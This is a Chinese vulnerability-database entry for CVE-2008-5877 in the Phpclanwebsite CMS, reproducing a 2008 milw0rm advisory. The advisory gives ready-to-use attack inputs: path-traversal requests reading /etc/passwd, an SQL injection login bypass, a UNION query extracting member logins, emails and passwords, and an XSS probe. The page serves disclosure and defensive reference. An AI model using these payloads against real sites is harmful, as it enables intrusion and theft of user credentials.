Phpclanwebsite 多个输入验证漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117082 漏洞类型 SQL注入
发布时间 2008-12-18 更新时间 2009-01-29
CVE编号 CVE-2008-5877 CNNVD-ID CNNVD-200901-082
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/7515
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-082
|漏洞详情
Phpclanwebsite是一款内容管理系统(CMS)。Phpclanwebsite(又称PCW)1.23.3修复补丁5以及之前的版本中存在多个SQL注入漏洞。当magic_quotes_gpc被中止时,远程攻击者可以借助以下参数:(1)对index.php的页参数(2)对pcw/processforms.php的form_id参数(3)对pcw/setlogin.php的pcwlogin参数(4)对pcw/setlogin.php的pcw_pass参数(5)对pcw/downloads.php的搜索值参数(6)对pcw/downloads.php的搜索值和whichfield参数执行任意的SQL指令。
|漏洞EXP
Phpclanwebsite <= 1.23.3 Fix Pack #5 (File Including/SQL/XSS) Multiple Remote Vulnerabilities

The description:
The set vulnerability in CMS Phpclanwebsite versions 1.23.3 Fix Pack #5 and more low was revealed.

1. Multiple File Including Vulnerabilities

Vulnerability exists for the reason that direct access to some files, around logicians of work of the appendix is possible.
It gives the chance to redefine internal variables which are transferred as arguments in function include ().
Examples of vulnerable files:
/theme/superchrome/box.php?boxname=../../../../../etc/passwd%00
/phpclanwebsite/footer.php?theme=../../../../../etc/passwd%00
etc

The note:
For vulnerability operation the following options PHP are required: register_globals=On and magic_quotes_gpc=Off

2. Multiple SQL Injection Vulnerabilities

The appendix everywhere does not check the variables transferred from outside of the user. It allows to carry out any SQL Injection.
Examples of vulnerable files:
SQL Injection (insert) -
 /index.php?page='SQL
SQL Injection (delete) -
 /index.php?page=processforms&ok=1&SP=1&form_id=2
 , where "form_id" the identifier of the deleted user
SQL Injection (select) -
 /index.php?page=login
 POST:pcwlogin='SQL&pcw_pass='SQL

 /index.php?page=login
 POST:pcwlogin=1'+OR+1=1--&pcw_pass=1

SQL Injection (select) -
 /index.php?page=downloads&func=search
 POST:searchvalue='SQL&whichfield=SQL

 /index.php?page=downloads&func=search
 POST:searchvalue=1&whichfield=dl_name>1)+limit+0+union+select+tag,2,3,login,5,6,7,email,9,password,11,12,13,14,15+from+cws_members--
etc

The note:
For operation of all SQL Injection vulnerabilities, except vulnerability in parametre "whichfield", are required disconnected magic_quotes_gpc.

3. Multiple Cross-site Scripting Vulnerabilities

The appendix everywhere does not check the variables transferred from outside of the user. It allows to carry out any code in a context of a user browser.
Examples of vulnerable files:
/index.php?page='><script>alert('XSS')</script>
etc

# milw0rm.com [2008-12-18]
|参考资料

来源:BID
名称:32915
链接:http://www.securityfocus.com/bid/32915
来源:MILW0RM
名称:7515
链接:http://www.milw0rm.com/exploits/7515
来源:SREASON
名称:4881
链接:http://securityreason.com/securityalert/4881
来源:SECUNIA
名称:33211
链接:http://secunia.com/advisories/33211